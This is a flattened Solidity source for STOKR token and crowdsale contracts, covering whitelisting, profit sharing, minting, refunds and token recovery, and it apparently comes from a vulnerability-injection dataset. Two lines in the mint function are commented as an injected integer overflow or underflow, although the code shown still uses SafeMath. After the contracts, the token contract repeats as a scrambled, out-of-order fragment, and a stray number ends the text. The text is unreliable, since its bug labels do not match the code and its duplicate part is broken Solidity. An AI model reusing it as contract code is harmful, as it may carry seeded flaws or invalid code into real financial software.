_investors) external onlyAdmin { for (uint256 i = 0; i < _investors.length; i++) { if (isWhitelisted[_investors[i]]) { isWhitelisted[_investors[i]] = false; emit InvestorRemoved(msg.sender, _investors[i]); } } } } // File: contracts/whitelist/Whitelisted.sol pragma solidity 0.5.12; /// @title Whitelisted /// @author STOKR contract Whitelisted is Ownable { Whitelist public whitelist; /// @dev Log entry on change of whitelist contract instance /// @param previous Ethereum address of previous whitelist /// @param current Ethereum address of new whitelist event WhitelistChange(address indexed previous, address indexed current); /// @dev Ensure only whitelisted addresses can call modifier onlyWhitelisted(address _address) { require(whitelist.isWhitelisted(_address), "Address is not whitelisted"); _; } /// @dev Constructor /// @param _whitelist address of whitelist contract constructor(Whitelist _whitelist) public { setWhitelist(_whitelist); } /// @dev Set the address of whitelist /// @param _newWhitelist An Ethereum address function setWhitelist(Whitelist _newWhitelist) public onlyOwner { require(address(_newWhitelist) != address(0x0), "Whitelist address is zero"); if (address(_newWhitelist) != address(whitelist)) { emit WhitelistChange(address(whitelist), address(_newWhitelist)); whitelist = Whitelist(_newWhitelist); } } } // File: contracts/token/ERC20.sol pragma solidity 0.5.12; /// @title ERC20 interface /// @dev see https://github.com/ethereum/EIPs/issues/20 interface ERC20 { event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); function totalSupply() external view returns (uint); function balanceOf(address _owner) external view returns (uint); function allowance(address _owner, address _spender) external view returns (uint); function approve(address _spender, uint _value) external returns (bool); function transfer(address _to, uint _value) external returns (bool); function transferFrom(address _from, address _to, uint _value) external returns (bool); } // File: contracts/token/ProfitSharing.sol pragma solidity 0.5.12; /// @title ProfitSharing /// @author STOKR contract ProfitSharing is Ownable { using SafeMath for uint; // An InvestorAccount object keeps track of the investor's // - balance: amount of tokens he/she holds (always up-to-date) // - profitShare: amount of wei this token owed him/her at the last update // - lastTotalProfits: determines when his/her profitShare was updated // Note, this construction requires: // - totalProfits to never decrease // - totalSupply to be fixed // - profitShare of all involved parties to get updated prior to any token transfer // - lastTotalProfits to be set to current totalProfits upon profitShare update struct InvestorAccount { uint balance; // token balance uint lastTotalProfits; // totalProfits [wei] at the time of last profit share update uint profitShare; // profit share [wei] of last update } // Investor account database mapping(address => InvestorAccount) public accounts; // Authority who is allowed to deposit profits [wei] on this address public profitDepositor; // Authority who is allowed to distribute profit shares [wei] to investors // (so, that they don't need to withdraw it by themselves) address public profitDistributor; // Amount of total profits [wei] stored to this token // In contrast to the wei balance (which may be reduced due to profit share withdrawal) // this value will never decrease uint public totalProfits; // As long as the total supply isn't fixed, i.e. new tokens can appear out of thin air, // the investors' profit shares aren't determined bool public totalSupplyIsFixed; // Total amount of tokens uint internal totalSupply_; /// @dev Log entry on change of profit deposit authority /// @param previous Ethereum address of previous profit depositor /// @param current Ethereum address of new profit depositor event ProfitDepositorChange( address indexed previous, address indexed current ); /// @dev Log entry on change of profit distribution authority /// @param previous Ethereum address of previous profit distributor /// @param current Ethereum address of new profit distributor event ProfitDistributorChange( address indexed previous, address indexed current ); /// @dev Log entry on profit deposit /// @param depositor Profit depositor's address /// @param amount Deposited profits in wei event ProfitDeposit( address indexed depositor, uint amount ); /// @dev Log entry on profit share update /// @param investor Investor's address /// @param amount New wei amount the token owes the investor event ProfitShareUpdate( address indexed investor, uint amount ); /// @dev Log entry on profit withdrawal /// @param investor Investor's address /// @param amount Wei amount the investor withdrew from this token event ProfitShareWithdrawal( address indexed investor, address indexed beneficiary, uint amount ); /// @dev Restrict operation to profit deposit authority only modifier onlyProfitDepositor() { require(msg.sender == profitDepositor, "Restricted to profit depositor"); _; } /// @dev Restrict operation to profit distribution authority only modifier onlyProfitDistributor() { require(msg.sender == profitDistributor, "Restricted to profit distributor"); _; } /// @dev Restrict operation to when total supply doesn't change anymore modifier onlyWhenTotalSupplyIsFixed() { require(totalSupplyIsFixed, "Total supply may change"); _; } /// @dev Constructor /// @param _profitDepositor Profit deposit authority constructor(address _profitDepositor, address _profitDistributor) public { setProfitDepositor(_profitDepositor); setProfitDistributor(_profitDistributor); } /// @dev Profit deposit if possible via fallback function function () external payable { require(msg.data.length == 0, "Fallback call with data"); depositProfit(); } /// @dev Change profit depositor /// @param _newProfitDepositor An Ethereum address function setProfitDepositor(address _newProfitDepositor) public onlyOwner { require(_newProfitDepositor != address(0x0), "New profit depositor is zero"); if (_newProfitDepositor != profitDepositor) { emit ProfitDepositorChange(profitDepositor, _newProfitDepositor); profitDepositor = _newProfitDepositor; } } /// @dev Change profit distributor /// @param _newProfitDistributor An Ethereum address function setProfitDistributor(address _newProfitDistributor) public onlyOwner { require(_newProfitDistributor != address(0x0), "New profit distributor is zero"); if (_newProfitDistributor != profitDistributor) { emit ProfitDistributorChange(profitDistributor, _newProfitDistributor); profitDistributor = _newProfitDistributor; } } /// @dev Deposit profit function depositProfit() public payable onlyProfitDepositor onlyWhenTotalSupplyIsFixed { require(totalSupply_ > 0, "Total supply is zero"); totalProfits = totalProfits.add(msg.value); emit ProfitDeposit(msg.sender, msg.value); } /// @dev Profit share owing /// @param _investor An Ethereum address /// @return A positive number function profitShareOwing(address _investor) public view returns (uint) { if (!totalSupplyIsFixed || totalSupply_ == 0) { return 0; } InvestorAccount memory account = accounts[_investor]; return totalProfits.sub(account.lastTotalProfits) .mul(account.balance) .div(totalSupply_) .add(account.profitShare); } /// @dev Update profit share /// @param _investor An Ethereum address function updateProfitShare(address _investor) public onlyWhenTotalSupplyIsFixed { uint newProfitShare = profitShareOwing(_investor); accounts[_investor].lastTotalProfits = totalProfits; accounts[_investor].profitShare = newProfitShare; emit ProfitShareUpdate(_investor, newProfitShare); } /// @dev Withdraw profit share function withdrawProfitShare() public { _withdrawProfitShare(msg.sender, msg.sender); } function withdrawProfitShareTo(address payable _beneficiary) public { _withdrawProfitShare(msg.sender, _beneficiary); } /// @dev Withdraw profit share function withdrawProfitShares(address payable[] calldata _investors) external onlyProfitDistributor { for (uint i = 0; i < _investors.length; ++i) { _withdrawProfitShare(_investors[i], _investors[i]); } } /// @dev Withdraw profit share function _withdrawProfitShare(address _investor, address payable _beneficiary) internal { updateProfitShare(_investor); uint withdrawnProfitShare = accounts[_investor].profitShare; accounts[_investor].profitShare = 0; _beneficiary.transfer(withdrawnProfitShare); emit ProfitShareWithdrawal(_investor, _beneficiary, withdrawnProfitShare); } } // File: contracts/token/MintableToken.sol pragma solidity 0.5.12; /// @title MintableToken /// @author STOKR /// @dev Extension of the ERC20 compliant ProfitSharing Token /// that allows the creation of tokens via minting for a /// limited time period (until minting gets finished). contract MintableToken is ERC20, ProfitSharing, Whitelisted { address public minter; uint public numberOfInvestors = 0; /// @dev Log entry on mint /// @param to Beneficiary who received the newly minted tokens /// @param amount The amount of minted token units event Minted(address indexed to, uint amount); /// @dev Log entry on mint finished event MintFinished(); /// @dev Restrict an operation to be callable only by the minter modifier onlyMinter() { require(msg.sender == minter, "Restricted to minter"); _; } /// @dev Restrict an operation to be executable only while minting was not finished modifier canMint() { require(!totalSupplyIsFixed, "Total supply has been fixed"); _; } /// @dev Set minter authority /// @param _minter Ethereum address of minter authority function setMinter(address _minter) public onlyOwner { require(minter == address(0x0), "Minter has already been set"); require(_minter != address(0x0), "Minter is zero"); minter = _minter; } /// @dev Mint tokens, i.e. create tokens out of thin air /// @param _to Beneficiary who will receive the newly minted tokens /// @param _amount The amount of minted token units function mint(address _to, uint _amount) public onlyMinter canMint onlyWhitelisted(_to) { if (accounts[_to].balance == 0) { numberOfInvestors++; } totalSupply_ = totalSupply_.add(_amount); //injected INTEGER OVERFLOW OR UNDERFLOW accounts[_to].balance = accounts[_to].balance.add(_amount); //injected INTEGER OVERFLOW OR UNDERFLOW emit Minted(_to, _amount); emit Transfer(address(0x0), _to, _amount); } /// @dev Finish minting -- this should be irreversible function finishMinting() public onlyMinter canMint { totalSupplyIsFixed = true; emit MintFinished(); } } // File: contracts/crowdsale/RateSourceInterface.sol pragma solidity 0.5.12; /// @title RateSource /// @author STOKR interface RateSource { /// @dev The current price of an Ether in EUR cents /// @return Current ether rate function etherRate() external view returns (uint); } // File: contracts/crowdsale/MintingCrowdsale.sol pragma solidity 0.5.12; /// @title MintingCrowdsale /// @author STOKR contract MintingCrowdsale is Ownable { using SafeMath for uint; // Maximum Time of offering period after extension uint constant MAXOFFERINGPERIOD = 80 days; // Ether rate oracle contract providing the price of an Ether in EUR cents RateSource public rateSource; // The token to be sold // In the following, the term "token unit" always refers to the smallest // and non-divisible quantum. Thus, token unit amounts are always integers. // One token is expected to consist of 10^18 token units. MintableToken public token; // Token amounts in token units // The public and the private sale are both capped (i.e. two distinct token pools) // The tokenRemaining variables keep track of how many token units are available // for the respective type of sale uint public tokenCapOfPublicSale; uint public tokenCapOfPrivateSale; uint public tokenRemainingForPublicSale; uint public tokenRemainingForPrivateSale; // Prices are in Euro cents (i.e. 1/100 EUR) uint public tokenPrice; // The minimum amount of tokens a purchaser has to buy via one transaction uint public tokenPurchaseMinimum; // The maximum total amount of tokens a purchaser may buy during start phase uint public tokenPurchaseLimit; // Total token purchased by investor (while purchase amount is limited) mapping(address => uint) public tokenPurchased; // Public sale period uint public openingTime; uint public closingTime; uint public limitEndTime; // Ethereum address where invested funds will be transferred to address payable public companyWallet; // Amount and receiver of reserved tokens uint public tokenReservePerMill; address public reserveAccount; // Wether this crowdsale was finalized or not bool public isFinalized = false; /// @dev Log entry upon token distribution event /// @param beneficiary Ethereum address of token recipient /// @param amount Number of token units /// @param isPublicSale Whether the distribution was via public sale event TokenDistribution(address indexed beneficiary, uint amount, bool isPublicSale); /// @dev Log entry upon token purchase event /// @param buyer Ethereum address of token purchaser /// @param value Worth in wei of purchased token amount /// @param amount Number of token units event TokenPurchase(address indexed buyer, uint value, uint amount); /// @dev Log entry upon rate change event /// @param previous Previous closing time of sale /// @param current Current closing time of sale event ClosingTimeChange(uint previous, uint current); /// @dev Log entry upon finalization event event Finalization(); /// @dev Constructor /// @param _rateSource Ether rate oracle contract /// @param _token The token to be sold /// @param _tokenCapOfPublicSale Maximum number of token units to mint in public sale /// @param _tokenCapOfPrivateSale Maximum number of token units to mint in private sale /// @param _tokenPurchaseMinimum Minimum amount of tokens an investor has to buy at once /// @param _tokenPurchaseLimit Maximum total token amounts individually buyable in limit phase /// @param _tokenPrice Price of a token in EUR cent /// @param _openingTime Block (Unix) timestamp of sale opening time /// @param _closingTime Block (Unix) timestamp of sale closing time /// @param _limitEndTime Block (Unix) timestamp until token purchases are limited /// @param _companyWallet Ethereum account who will receive sent ether /// @param _tokenReservePerMill Per mill amount of sold tokens to mint for reserve account /// @param _reserveAccount Ethereum address of reserve tokens recipient constructor( RateSource _rateSource, MintableToken _token, uint _tokenCapOfPublicSale, uint _tokenCapOfPrivateSale, uint _tokenPurchaseMinimum, uint _tokenPurchaseLimit, uint _tokenReservePerMill, uint _tokenPrice, uint _openingTime, uint _closingTime, uint _limitEndTime, address payable _companyWallet, address _reserveAccount ) public { require(address(_rateSource) != address(0x0), "Rate source is zero"); require(address(_token) != address(0x0), "Token address is zero"); require(_token.minter() == address(0x0), "Token has another minter"); require(_tokenCapOfPublicSale > 0, "Cap of public sale is zero"); require(_tokenCapOfPrivateSale > 0, "Cap of private sale is zero"); require(_tokenPurchaseMinimum <= _tokenCapOfPublicSale && _tokenPurchaseMinimum <= _tokenCapOfPrivateSale, "Purchase minimum exceeds cap"); require(_tokenPrice > 0, "Token price is zero"); require(_openingTime >= now, "Opening lies in the past"); require(_closingTime >= _openingTime, "Closing lies before opening"); require(_companyWallet != address(0x0), "Company wallet is zero"); require(_reserveAccount != address(0x0), "Reserve account is zero"); // Note: There are no time related requirements regarding limitEndTime. // If it's below openingTime, token purchases will never be limited. // If it's above closingTime, token purchases will always be limited. if (_limitEndTime > _openingTime) { // But, if there's a purchase limitation phase, the limit must be at // least the purchase minimum or above to make purchases possible. require(_tokenPurchaseLimit >= _tokenPurchaseMinimum, "Purchase limit is below minimum"); } // Utilize safe math to ensure the sum of three token pools does't overflow _tokenCapOfPublicSale.add(_tokenCapOfPrivateSale).mul(_tokenReservePerMill); rateSource = _rateSource; token = _token; tokenCapOfPublicSale = _tokenCapOfPublicSale; tokenCapOfPrivateSale = _tokenCapOfPrivateSale; tokenPurchaseMinimum = _tokenPurchaseMinimum; tokenPurchaseLimit= _tokenPurchaseLimit; tokenReservePerMill = _tokenReservePerMill; tokenPrice = _tokenPrice; openingTime = _openingTime; closingTime = _closingTime; limitEndTime = _limitEndTime; companyWallet = _companyWallet; reserveAccount = _reserveAccount; tokenRemainingForPublicSale = _tokenCapOfPublicSale; tokenRemainingForPrivateSale = _tokenCapOfPrivateSale; } /// @dev Fallback function: buys tokens function () external payable { require(msg.data.length == 0, "Fallback call with data"); buyTokens(); } /// @dev Distribute tokens purchased off-chain via public sale /// Note: additional requirements are enforced in internal function. /// @param beneficiaries List of recipients' Ethereum addresses /// @param amounts List of token units each recipient will receive function distributeTokensViaPublicSale( address[] memory beneficiaries, uint[] memory amounts ) public { tokenRemainingForPublicSale = distributeTokens(tokenRemainingForPublicSale, beneficiaries, amounts, true); } /// @dev Distribute tokens purchased off-chain via private sale /// Note: additional requirements are enforced in internal function. /// @param beneficiaries List of recipients' Ethereum addresses /// @param amounts List of token units each recipient will receive function distributeTokensViaPrivateSale( address[] memory beneficiaries, uint[] memory amounts ) public { tokenRemainingForPrivateSale = distributeTokens(tokenRemainingForPrivateSale, beneficiaries, amounts, false); } /// @dev Check whether the sale has closed /// @return True iff sale closing time has passed function hasClosed() public view returns (bool) { return now >= closingTime; } /// @dev Check wether the sale is open /// @return True iff sale opening time has passed and sale is not closed yet function isOpen() public view returns (bool) { return now >= openingTime && !hasClosed(); } /// @dev Determine the remaining open time of sale /// @return Time in seconds until sale gets closed, or 0 if sale was closed function timeRemaining() public view returns (uint) { if (hasClosed()) { return 0; } return closingTime - now; } /// @dev Determine the amount of sold tokens (off-chain and on-chain) /// @return Token units amount function tokenSold() public view returns (uint) { return (tokenCapOfPublicSale - tokenRemainingForPublicSale) + (tokenCapOfPrivateSale - tokenRemainingForPrivateSale); } /// @dev Purchase tokens function buyTokens() public payable { require(isOpen(), "Sale is not open"); uint etherRate = rateSource.etherRate(); require(etherRate > 0, "Ether rate is zero"); // Units: [1e-18*ether] * [cent/ether] / [cent/token] => [1e-18*token] uint amount = msg.value.mul(etherRate).div(tokenPrice); require(amount <= tokenRemainingForPublicSale, "Not enough tokens available"); require(amount >= tokenPurchaseMinimum, "Investment is too low"); // Is the total amount an investor can purchase with Ether limited? if (now < limitEndTime) { uint purchased = tokenPurchased[msg.sender].add(amount); require(purchased <= tokenPurchaseLimit, "Purchase limit reached"); tokenPurchased[msg.sender] = purchased; } tokenRemainingForPublicSale = tokenRemainingForPublicSale.sub(amount); token.mint(msg.sender, amount); forwardFunds(); emit TokenPurchase(msg.sender, msg.value, amount); } /// @dev Extend the offering period of the crowd sale. /// @param _newClosingTime new closingTime of the crowdsale function changeClosingTime(uint _newClosingTime) public onlyOwner { require(!hasClosed(), "Sale has already ended"); require(_newClosingTime > now, "ClosingTime not in the future"); require(_newClosingTime > openingTime, "New offering is zero"); require(_newClosingTime - openingTime <= MAXOFFERINGPERIOD, "New offering too long"); emit ClosingTimeChange(closingTime, _newClosingTime); closingTime = _newClosingTime; } /// @dev Finalize, i.e. end token minting phase and enable token transfers function finalize() public onlyOwner { require(!isFinalized, "Sale has already been finalized"); require(hasClosed(), "Sale has not closed"); if (tokenReservePerMill > 0) { token.mint(reserveAccount, tokenSold().mul(tokenReservePerMill).div(1000)); } token.finishMinting(); isFinalized = true; emit Finalization(); } /// @dev Distribute tokens purchased off-chain (in Euro) to investors /// @param tokenRemaining Token units available for sale /// @param beneficiaries Ethereum addresses of purchasers /// @param amounts Token unit amounts to deliver to each investor /// @return Token units available for sale after distribution function distributeTokens( uint tokenRemaining, address[] memory beneficiaries, uint[] memory amounts, bool isPublicSale ) internal onlyOwner returns (uint) { require(!isFinalized, "Sale has been finalized"); require(beneficiaries.length == amounts.length, "Lengths are different"); for (uint i = 0; i < beneficiaries.length; ++i) { address beneficiary = beneficiaries[i]; uint amount = amounts[i]; require(amount <= tokenRemaining, "Not enough tokens available"); tokenRemaining = tokenRemaining.sub(amount); token.mint(beneficiary, amount); emit TokenDistribution(beneficiary, amount, isPublicSale); } return tokenRemaining; } /// @dev Forward invested ether to company wallet function forwardFunds() internal { companyWallet.transfer(address(this).balance); } } // File: contracts/token/TokenRecoverable.sol pragma solidity 0.5.12; /// @title TokenRecoverable /// @author STOKR contract TokenRecoverable is Ownable { // Address that can do the TokenRecovery address public tokenRecoverer; /// @dev Event emitted when the TokenRecoverer changes /// @param previous Ethereum address of previous token recoverer /// @param current Ethereum address of new token recoverer event TokenRecovererChange(address indexed previous, address indexed current); /// @dev Event emitted in case of a TokenRecovery /// @param oldAddress Ethereum address of old account /// @param newAddress Ethereum address of new account event TokenRecovery(address indexed oldAddress, address indexed newAddress); /// @dev Restrict operation to token recoverer modifier onlyTokenRecoverer() { require(msg.sender == tokenRecoverer, "Restricted to token recoverer"); _; } /// @dev Constructor /// @param _tokenRecoverer Ethereum address of token recoverer constructor(address _tokenRecoverer) public { setTokenRecoverer(_tokenRecoverer); } /// @dev Set token recoverer /// @param _newTokenRecoverer Ethereum address of new token recoverer function setTokenRecoverer(address _newTokenRecoverer) public onlyOwner { require(_newTokenRecoverer != address(0x0), "New token recoverer is zero"); if (_newTokenRecoverer != tokenRecoverer) { emit TokenRecovererChange(tokenRecoverer, _newTokenRecoverer); tokenRecoverer = _newTokenRecoverer; } } /// @dev Recover token /// @param _oldAddress address /// @param _newAddress address function recoverToken(address _oldAddress, address _newAddress) public; } // File: contracts/token/StokrToken.sol pragma solidity 0.5.12; /// @title StokrToken /// @author Stokr contract StokrToken is MintableToken, TokenRecoverable { string public name; string public symbol; uint8 public constant decimals = 18; mapping(address => mapping(address => uint)) internal allowance_; /// @dev Log entry on self destruction of the token event TokenDestroyed(); /// @dev Constructor /// @param _whitelist Ethereum address of whitelist contract /// @param _tokenRecoverer Ethereum address of token recoverer constructor( string memory _name, string memory _symbol, Whitelist _whitelist, address _profitDepositor, address _profitDistributor, address _tokenRecoverer ) public Whitelisted(_whitelist) ProfitSharing(_profitDepositor, _profitDistributor) TokenRecoverable(_tokenRecoverer) { name = _name; symbol = _symbol; } /// @dev Self destruct can only be called by crowdsale contract in case the goal wasn't reached function destruct() public onlyMinter { emit TokenDestroyed(); selfdestruct(address(uint160(owner))); } /// @dev Recover token /// @param _oldAddress address of old account /// @param _newAddress address of new account function recoverToken(address _oldAddress, address _newAddress) public onlyTokenRecoverer onlyWhitelisted(_newAddress) { // Ensure that new address is *not* an existing account. // Check for account.profitShare is not needed because of following implication: // (account.lastTotalProfits == 0) ==> (account.profitShare == 0) require(accounts[_newAddress].balance == 0 && accounts[_newAddress].lastTotalProfits == 0, "New address exists already"); updateProfitShare(_oldAddress); accounts[_newAddress] = accounts[_oldAddress]; delete accounts[_oldAddress]; emit TokenRecovery(_oldAddress, _newAddress); emit Transfer(_oldAddress, _newAddress, accounts[_newAddress].balance); } /// @dev Total supply of this token /// @return Token amount function totalSupply() public view returns (uint) { return totalSupply_; } /// @dev Token balance /// @param _investor Ethereum address of token holder /// @return Token amount function balanceOf(address _investor) public view returns (uint) { return accounts[_investor].balance; } /// @dev Allowed token amount a third party trustee may transfer /// @param _investor Ethereum address of token holder /// @param _spender Ethereum address of third party /// @return Allowed token amount function allowance(address _investor, address _spender) public view returns (uint) { return allowance_[_investor][_spender]; } /// @dev Approve a third party trustee to transfer tokens /// Note: additional requirements are enforced within internal function. /// @param _spender Ethereum address of third party /// @param _value Maximum token amount that is allowed to get transferred /// @return Always true function approve(address _spender, uint _value) public returns (bool) { return _approve(msg.sender, _spender, _value); } /// @dev Increase the amount of tokens a third party trustee may transfer /// Note: additional requirements are enforces within internal function. /// @param _spender Ethereum address of third party /// @param _amount Additional token amount that is allowed to get transferred /// @return Always true function increaseAllowance(address _spender, uint _amount) public returns (bool) { require(allowance_[msg.sender][_spender] + _amount >= _amount, "Allowance overflow"); return _approve(msg.sender, _spender, allowance_[msg.sender][_spender].add(_amount)); } /// @dev Decrease the amount of tokens a third party trustee may transfer /// Note: additional requirements are enforces within internal function. /// @param _spender Ethereum address of third party /// @param _amount Reduced token amount that is allowed to get transferred /// @return Always true function decreaseAllowance(address _spender, uint _amount) public returns (bool) { require(_amount <= allowance_[msg.sender][_spender], "Amount exceeds allowance"); return _approve(msg.sender, _spender, allowance_[msg.sender][_spender].sub(_amount)); } /// @dev Check if a token transfer is possible /// @param _from Ethereum address of token sender /// @param _to Ethereum address of token recipient /// @param _value Token amount to transfer /// @return True iff a transfer with given pramaters would succeed function canTransfer(address _from, address _to, uint _value) public view returns (bool) { return totalSupplyIsFixed && _from != address(0x0) && _to != address(0x0) && _value <= accounts[_from].balance && whitelist.isWhitelisted(_from) && whitelist.isWhitelisted(_to); } /// @dev Check if a token transfer by third party is possible /// @param _spender Ethereum address of third party trustee /// @param _from Ethereum address of token holder /// @param _to Ethereum address of token recipient /// @param _value Token amount to transfer /// @return True iff a transfer with given pramaters would succeed function canTransferFrom(address _spender, address _from, address _to, uint _value) public view returns (bool) { return canTransfer(_from, _to, _value) && _value <= allowance_[_from][_spender]; } /// @dev Token transfer /// Note: additional requirements are enforces within internal function. /// @param _to Ethereum address of token recipient /// @param _value Token amount to transfer /// @return Always true function transfer(address _to, uint _value) public returns (bool) { return _transfer(msg.sender, _to, _value); } /// @dev Token transfer by a third party /// Note: additional requirements are enforces within internal function. /// @param _from Ethereum address of token holder /// @param _to Ethereum address of token recipient /// @param _value Token amount to transfer /// @return Always true function transferFrom(address _from, address _to, uint _value) public returns (bool) { require(_value <= allowance_[_from][msg.sender], "Amount exceeds allowance"); return _approve(_from, msg.sender, allowance_[_from][msg.sender].sub(_value)) && _transfer(_from, _to, _value); } /// @dev Approve a third party trustee to transfer tokens (internal implementation) /// @param _from Ethereum address of token holder /// @param _spender Ethereum address of third party /// @param _value Maximum token amount the trustee is allowed to transfer /// @return Always true function _approve(address _from, address _spender, uint _value) internal onlyWhitelisted(_from) onlyWhenTotalSupplyIsFixed returns (bool) { allowance_[_from][_spender] = _value; emit Approval(_from, _spender, _value); return true; } /// @dev Token transfer (internal implementation) /// @param _from Ethereum address of token sender /// @param _to Ethereum address of token recipient /// @param _value Token amount to transfer /// @return Always true function _transfer(address _from, address _to, uint _value) internal onlyWhitelisted(_from) onlyWhitelisted(_to) onlyWhenTotalSupplyIsFixed returns (bool) { require(_to != address(0x0), "Recipient is zero"); require(_value <= accounts[_from].balance, "Amount exceeds balance"); updateProfitShare(_from); updateProfitShare(_to); accounts[_from].balance = accounts[_from].balance.sub(_value); accounts[_to].balance = accounts[_to].balance.add(_value); emit Transfer(_from, _to, _value); return true; } } // File: contracts/crowdsale/StokrCrowdsale.sol pragma solidity 0.5.12; /// @title StokrCrowdsale /// @author STOKR contract StokrCrowdsale is MintingCrowdsale { // Soft cap in token units uint public tokenGoal; // As long as the goal is not reached funds of purchases are held back // and investments are assigned to investors here to enable a refunding // if the goal is missed upon finalization mapping(address => uint) public investments; // Log entry upon investor refund event event InvestorRefund(address indexed investor, uint value); /// @dev Constructor /// @param _token The token /// @param _tokenCapOfPublicSale Available token units for public sale /// @param _tokenCapOfPrivateSale Available token units for private sale /// @param _tokenGoal Minimum number of sold token units to be successful /// @param _tokenPurchaseMinimum Minimum amount of tokens an investor has to buy at once /// @param _tokenPurchaseLimit Maximum total token amounts individually buyable in limit phase /// @param _tokenReservePerMill Additional reserve tokens in per mill of sold tokens /// @param _tokenPrice Price of a token in EUR cent /// @param _rateSource Ethereum address of ether rate setting authority /// @param _openingTime Block (Unix) timestamp of sale opening time /// @param _closingTime Block (Unix) timestamp of sale closing time /// @param _limitEndTime Block (Unix) timestamp until token purchases are limited /// @param _companyWallet Ethereum account who will receive sent ether /// @param _reserveAccount An address constructor( RateSource _rateSource, StokrToken _token, uint _tokenCapOfPublicSale, uint _tokenCapOfPrivateSale, uint _tokenGoal, uint _tokenPurchaseMinimum, uint _tokenPurchaseLimit, uint _tokenReservePerMill, uint _tokenPrice, uint _openingTime, uint _closingTime, uint _limitEndTime, address payable _companyWallet, address _reserveAccount ) public MintingCrowdsale( _rateSource, _token, _tokenCapOfPublicSale, _tokenCapOfPrivateSale, _tokenPurchaseMinimum, _tokenPurchaseLimit, _tokenReservePerMill, _tokenPrice, _openingTime, _closingTime, _limitEndTime, _companyWallet, _reserveAccount ) { require( _tokenGoal <= _tokenCapOfPublicSale + _tokenCapOfPrivateSale, "Goal is not attainable" ); tokenGoal = _tokenGoal; } /// @dev Wether the goal of sold tokens was reached or not /// @return True if the sale can be considered successful function goalReached() public view returns (bool) { return tokenSold() >= tokenGoal; } /// @dev Investors can claim refunds here if crowdsale was unsuccessful function distributeRefunds(address payable[] calldata _investors) external { for (uint i = 0; i < _investors.length; ++i) { refundInvestor(_investors[i]); } } /// @dev Investors can claim refunds here if crowdsale was unsuccessful function claimRefund() public { refundInvestor(msg.sender); } /// @dev Overwritten. Kill the token if goal was missed function finalize() public onlyOwner { super.finalize(); if (!goalReached()) { StokrToken(address(token)).destruct(); } } function distributeTokensViaPublicSale( address[] memory beneficiaries, uint[] memory amounts ) public { super.distributeTokensViaPublicSale(beneficiaries, amounts); // The goal may get reached due to token distribution, // so forward any accumulated funds to the company wallet. forwardFunds(); } function distributeTokensViaPrivateSale( address[] memory beneficiaries, uint[] memory amounts ) public { super.distributeTokensViaPrivateSale(beneficiaries, amounts); // The goal may get reached due to token distribution, // so forward any accumulated funds to the company wallet. forwardFunds(); } /// @dev Overwritten. Funds are held back until goal was reached function forwardFunds() internal { if (goalReached()) { super.forwardFunds(); } else { investments[msg.sender] = investments[msg.sender].add(msg.value); } } /// @dev Refund an investor if the sale was not successful /// @param _investor Ethereum address of investor function refundInvestor(address payable _investor) internal { require(isFinalized, "Sale has not been finalized"); require(!goalReached(), "Goal was reached"); uint investment = investments[_investor]; if (investment > 0) { investments[_investor] = 0; _investor.transfer(investment); emit InvestorRefund(_investor, investment); } } }
@dev Recover token @param _oldAddress address @param _newAddress address File: contracts/token/StokrToken.sol @title StokrToken @author Stokr
contract StokrToken is MintableToken, TokenRecoverable { string public name; string public symbol; uint8 public constant decimals = 18; mapping(address => mapping(address => uint)) internal allowance_; event TokenDestroyed(); constructor( string memory _name, string memory _symbol, Whitelist _whitelist, address _profitDepositor, address _profitDistributor, address _tokenRecoverer ) public Whitelisted(_whitelist) ProfitSharing(_profitDepositor, _profitDistributor) TokenRecoverable(_tokenRecoverer) function recoverToken(address _oldAddress, address _newAddress) public; } pragma solidity 0.5.12; { name = _name; symbol = _symbol; } function destruct() public onlyMinter { emit TokenDestroyed(); selfdestruct(address(uint160(owner))); } function recoverToken(address _oldAddress, address _newAddress) public onlyTokenRecoverer onlyWhitelisted(_newAddress) { require(accounts[_newAddress].balance == 0 && accounts[_newAddress].lastTotalProfits == 0, "New address exists already"); updateProfitShare(_oldAddress); accounts[_newAddress] = accounts[_oldAddress]; delete accounts[_oldAddress]; emit TokenRecovery(_oldAddress, _newAddress); emit Transfer(_oldAddress, _newAddress, accounts[_newAddress].balance); } function totalSupply() public view returns (uint) { return totalSupply_; } function balanceOf(address _investor) public view returns (uint) { return accounts[_investor].balance; } function allowance(address _investor, address _spender) public view returns (uint) { return allowance_[_investor][_spender]; } function approve(address _spender, uint _value) public returns (bool) { return _approve(msg.sender, _spender, _value); } function increaseAllowance(address _spender, uint _amount) public returns (bool) { require(allowance_[msg.sender][_spender] + _amount >= _amount, "Allowance overflow"); return _approve(msg.sender, _spender, allowance_[msg.sender][_spender].add(_amount)); } function decreaseAllowance(address _spender, uint _amount) public returns (bool) { require(_amount <= allowance_[msg.sender][_spender], "Amount exceeds allowance"); return _approve(msg.sender, _spender, allowance_[msg.sender][_spender].sub(_amount)); } function canTransfer(address _from, address _to, uint _value) public view returns (bool) { return totalSupplyIsFixed && _from != address(0x0) && _to != address(0x0) && _value <= accounts[_from].balance && whitelist.isWhitelisted(_from) && whitelist.isWhitelisted(_to); } function canTransferFrom(address _spender, address _from, address _to, uint _value) public view returns (bool) { return canTransfer(_from, _to, _value) && _value <= allowance_[_from][_spender]; } function transfer(address _to, uint _value) public returns (bool) { return _transfer(msg.sender, _to, _value); } function transferFrom(address _from, address _to, uint _value) public returns (bool) { require(_value <= allowance_[_from][msg.sender], "Amount exceeds allowance"); return _approve(_from, msg.sender, allowance_[_from][msg.sender].sub(_value)) && _transfer(_from, _to, _value); } function _approve(address _from, address _spender, uint _value) internal onlyWhitelisted(_from) onlyWhenTotalSupplyIsFixed returns (bool) { allowance_[_from][_spender] = _value; emit Approval(_from, _spender, _value); return true; } function _transfer(address _from, address _to, uint _value) internal onlyWhitelisted(_from) onlyWhitelisted(_to) onlyWhenTotalSupplyIsFixed returns (bool) { require(_to != address(0x0), "Recipient is zero"); require(_value <= accounts[_from].balance, "Amount exceeds balance"); updateProfitShare(_from); updateProfitShare(_to); accounts[_from].balance = accounts[_from].balance.sub(_value); accounts[_to].balance = accounts[_to].balance.add(_value); emit Transfer(_from, _to, _value); return true; } }
1,787,006
